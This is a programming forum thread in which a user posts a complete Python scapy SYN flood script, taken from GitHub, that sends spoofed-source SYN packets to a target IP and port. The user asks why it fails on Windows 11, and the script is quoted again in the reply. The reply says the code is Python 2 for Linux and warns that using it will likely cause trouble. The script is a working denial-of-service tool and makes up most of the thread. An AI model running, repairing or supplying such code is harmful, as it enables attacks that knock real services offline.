Skip to content
  • Categories
  • Recent
  • Tags
  • Popular
  • World
  • Users
  • Groups
Skins
  • Light
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • Default (No Skin)
  • No Skin
Collapse
Code Project
  1. Home
  2. General Programming
  3. Python
  4. Python SYN flood test

Python SYN flood test

Scheduled Pinned Locked Moved Python
pythonhelpquestionlounge
2 Posts 2 Posters 2 Views 1 Watching
  • Oldest to Newest
  • Newest to Oldest
  • Most Votes
Reply
  • Reply as topic
Log in to reply
This topic has been deleted. Only users with topic management privileges can see it.
  • A Offline
    A Offline
    Alex Wright 2022
    wrote on last edited by
    #1

    I tried to use the following code from github and test SYN flood:

    from scapy.all import *
    import os
    import sys
    import random

    def randomIP():
    ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
    return ip

    def randInt():
    x = random.randint(1000,9000)
    return x

    def SYN_Flood(dstIP,dstPort,counter):
    total = 0
    print("Packets are sending ...")
    for x in range (0,counter):
    s_port = randInt()
    s_eq = randInt()
    w_indow = randInt()

    	IP\_Packet = IP ()
    	IP\_Packet.src = randomIP()
    	IP\_Packet.dst = dstIP
    
    	TCP\_Packet = TCP ()	
    	TCP\_Packet.sport = s\_port
    	TCP\_Packet.dport = dstPort
    	TCP\_Packet.flags = "S"
    	TCP\_Packet.seq = s\_eq
    	TCP\_Packet.window = w\_indow
    
    	send(IP\_Packet/TCP\_Packet, verbose=0)
    	total+=1
    sys.stdout.write("\\nTotal packets sent: %i\\n" % total)
    

    def info():
    os.system("clear")

    dstIP = raw\_input ("\\nTarget IP : ")
    dstPort = input ("Target Port : ")
    
    return dstIP,int(dstPort)
    

    def main():
    dstIP,dstPort = info()
    counter = input ("How many packets do you want to send : ")
    SYN_Flood(dstIP,dstPort,int(counter))

    main()

    when I run the code, the following error is shown:

    Quote:

    WARNING: No libpcap provider available ! pcap won't be used 'clear' is not recognized as an internal or external command, operable program or batch file. Traceback (most recent call last): File "C:\Users\Admin\Desktop\Python Project\test.py", line 52, in main() File "C:\Users\Admin\Desktop\Python Project\test.py", line 48, in main dstIP,dstPort = info() ^^^^^^ File "C:\Users\Admin\Desktop\Python Project\test.py", line 41, in info dstIP = raw_input ("\nTarget IP : ") ^^^^^^^^^ NameError: name 'raw_input' is not defined

    I'm running this code on windows 11. Why is this error shown?

    L 1 Reply Last reply
    0
    • A Alex Wright 2022

      I tried to use the following code from github and test SYN flood:

      from scapy.all import *
      import os
      import sys
      import random

      def randomIP():
      ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
      return ip

      def randInt():
      x = random.randint(1000,9000)
      return x

      def SYN_Flood(dstIP,dstPort,counter):
      total = 0
      print("Packets are sending ...")
      for x in range (0,counter):
      s_port = randInt()
      s_eq = randInt()
      w_indow = randInt()

      	IP\_Packet = IP ()
      	IP\_Packet.src = randomIP()
      	IP\_Packet.dst = dstIP
      
      	TCP\_Packet = TCP ()	
      	TCP\_Packet.sport = s\_port
      	TCP\_Packet.dport = dstPort
      	TCP\_Packet.flags = "S"
      	TCP\_Packet.seq = s\_eq
      	TCP\_Packet.window = w\_indow
      
      	send(IP\_Packet/TCP\_Packet, verbose=0)
      	total+=1
      sys.stdout.write("\\nTotal packets sent: %i\\n" % total)
      

      def info():
      os.system("clear")

      dstIP = raw\_input ("\\nTarget IP : ")
      dstPort = input ("Target Port : ")
      
      return dstIP,int(dstPort)
      

      def main():
      dstIP,dstPort = info()
      counter = input ("How many packets do you want to send : ")
      SYN_Flood(dstIP,dstPort,int(counter))

      main()

      when I run the code, the following error is shown:

      Quote:

      WARNING: No libpcap provider available ! pcap won't be used 'clear' is not recognized as an internal or external command, operable program or batch file. Traceback (most recent call last): File "C:\Users\Admin\Desktop\Python Project\test.py", line 52, in main() File "C:\Users\Admin\Desktop\Python Project\test.py", line 48, in main dstIP,dstPort = info() ^^^^^^ File "C:\Users\Admin\Desktop\Python Project\test.py", line 41, in info dstIP = raw_input ("\nTarget IP : ") ^^^^^^^^^ NameError: name 'raw_input' is not defined

      I'm running this code on windows 11. Why is this error shown?

      L Offline
      L Offline
      Lost User
      wrote on last edited by
      #2

      By the look of the code that was written for Python version 2.x, and to run under Linux, not Windows. But using such a tool will most likely get you in trouble.

      1 Reply Last reply
      0
      Reply
      • Reply as topic
      Log in to reply
      • Oldest to Newest
      • Newest to Oldest
      • Most Votes


      • Login

      • Don't have an account? Register

      • Login or register to search.
      • First post
        Last post
      0
      • Categories
      • Recent
      • Tags
      • Popular
      • World
      • Users
      • Groups